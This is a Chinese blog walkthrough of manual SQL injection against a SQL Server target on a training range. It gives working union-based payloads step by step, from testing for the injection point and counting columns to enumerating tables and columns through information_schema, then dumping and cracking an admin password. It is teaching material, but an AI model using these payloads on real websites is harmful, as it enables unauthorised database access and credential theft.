SQL server注入

案例演示

墨者学院SQL手工注入漏洞测试(Sql Server数据库)

1.判断是否存在注入点

?id=2 and 1=2

 

输入and 1=1 页面正常

输入and 1=2 报错 确定存在注入点

2.判断字段数

?id=2 order by 4

?id=2 union all select null,null,null,null

1.使用order by 进行判断
 

使用order by 进行判断

从 1测试到2页面都是正常的,到3这里报错。

  但是在这里就是使用oder by 4的时候页面又正常回显 在order by 5的时候页面又报错          这种是靶场的小bug。如果不确定的话,可以再次使用union 进行确定字段的次数

2.使用union 进行判断

union all select null,null,null,null

 由于这里不能直接使用union select ,所以我们在是union注入的时候要咋后面加个all

但是如果是union all select 1,2,3,4 像这种格式又是不能进行使用的,因为select后面的

内容都是数字比如1,2,3,4  数据库通常各列是数字字符混合的,数字类型不匹配也会导致报错。所以我们就可以使用null进行替代

当我们查询一个字段数的语句:

原来的语句  union all select 1,2,3,4

替代的语句  union all select null,null,null,null

几个字段就写几个null,用null代替数字

这里的union all select null

相当于union all select 1

这里的 union all select 1,2

相当于 union all select null,null

一直从1-3依旧输入都是以上页返回的错误

 这里的 union all select 1,2,3,4

 相当于 union all select null,null,null,null

当我们输入到第四个字段的时候,页面回显的之前的界面不一样。确定一共4个字段

3.确定回显位

?id=-2  union all select null,null,null,null

?id=-2  union all select 'a',null,null,null

?id=-2  union all select null,'b',null,null

?id=-2  union all select null,'b','c',null

?id=-2  union all select null,'b','c','d'

确定回显字段, 这里依旧也是不能使用数字的

使用'单引号加字符去判断,一个字段一个字段的进行测试

测试第一个字段回显位

报错

确定第三个字段回显位

这里第二个null的位置,页面显示b。确定显示字段在'b'的位置,也就是在第二个字段

存在注入点

确定第三个字段回显位

 查询第三个字段,判断’c’,也就是3的位置有回显位

确定第四个字段回显位

 最后一个’d’。没有 回显位,确定页面显示字段位b,c,也就是2,3

4.获取数据库名

?id=-2 union all select null,db_name(),'c','d'

 

确定数据名为mozhe_db_v2

5.获取数据表名

?id=-2 union all select null,(select quotename(table_name)from information_Schema.tables for  xml path),'c','d'

quotename():作用是把每行查询结果用[]默认包裹起来

for xml path:作用把多行查询结果,变成一行显示

 

确定数据表名为

manage和announment

 

6.获取字段

?id=-2  union all select null,(select quotename(column_name)from information_schema.columns where table_name='manage' for xml path),'c','d'

quotename():作用是把每行查询结果用[]默认包裹起来

for xml path:作用把多行查询结果,变成一行显示

 

字段为

Id username ,password

7.拖库

?id=-2 union all select null,(select username from manage),(select password from manage),'d'

usernmae= admin_mz

password=72e1bfc3f01b7583

解密密码为

97285101

 成功拿到 key

猜你喜欢

转载自blog.csdn.net/m0_72755466/article/details/130208038